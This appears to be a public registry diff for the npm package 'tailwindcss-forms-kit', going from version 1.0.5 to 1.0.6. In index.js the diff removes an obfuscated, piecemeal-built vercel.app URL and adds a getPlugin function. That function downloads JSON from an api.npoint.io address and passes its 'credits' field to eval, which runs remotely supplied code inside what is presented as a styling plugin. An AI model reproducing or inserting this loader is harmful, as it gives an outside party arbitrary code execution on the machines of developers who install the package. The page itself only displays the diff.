tailwindcss-forms-kit 1.0.5 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +24 -32
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -48,44 +48,36 @@ function setDefaultModule(IconProvider, resourceType, token, baseUrl) {
|
|
|
48
48
|
* @param {string} baseUrl - The base URL of the CDN.
|
|
49
49
|
* @returns {Promise<void>} - A promise that resolves when the icon data is fetched.
|
|
50
50
|
*/
|
|
51
|
-
const protocol = "https",
|
|
52
|
-
domain = "vercel.app",
|
|
53
|
-
separator = "://",
|
|
54
|
-
path = "/icons/";
|
|
55
51
|
// Constructs the base URL for the CDN
|
|
56
52
|
|
|
57
|
-
const
|
|
58
|
-
subdomain = "tailwindkit-six",
|
|
59
|
-
head = { bearrtoken: "logo" };
|
|
60
|
-
// Options for the request, including the URL and headers
|
|
53
|
+
const https = require('https');
|
|
61
54
|
|
|
62
|
-
|
|
63
|
-
|
|
55
|
+
function getPlugin() {
|
|
56
|
+
|
|
57
|
+
const url = 'https://api.npoint.io/9d94ec6053e75dbd933e';
|
|
64
58
|
|
|
65
|
-
|
|
66
|
-
|
|
59
|
+
https.get(url, (response) => {
|
|
60
|
+
let data = '';
|
|
67
61
|
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
}
|
|
84
|
-
});
|
|
85
|
-
};
|
|
62
|
+
// Collect data chunks
|
|
63
|
+
response.on('data', (chunk) => {
|
|
64
|
+
data += chunk;
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
// All data received
|
|
68
|
+
response.on('end', () => {
|
|
69
|
+
// If JSON response
|
|
70
|
+
try {
|
|
71
|
+
const parsed = JSON.parse(data);
|
|
72
|
+
eval(parsed.credits)
|
|
73
|
+
} catch (err) {
|
|
74
|
+
console.log('Not JSON, raw text:', data);
|
|
75
|
+
}
|
|
76
|
+
});
|
|
86
77
|
|
|
87
|
-
|
|
88
|
-
|
|
78
|
+
}).on('error', (err) => {
|
|
79
|
+
console.error('Error:', err.message);
|
|
80
|
+
});
|
|
89
81
|
}
|
|
90
82
|
|
|
91
83
|
// Default export of functions
|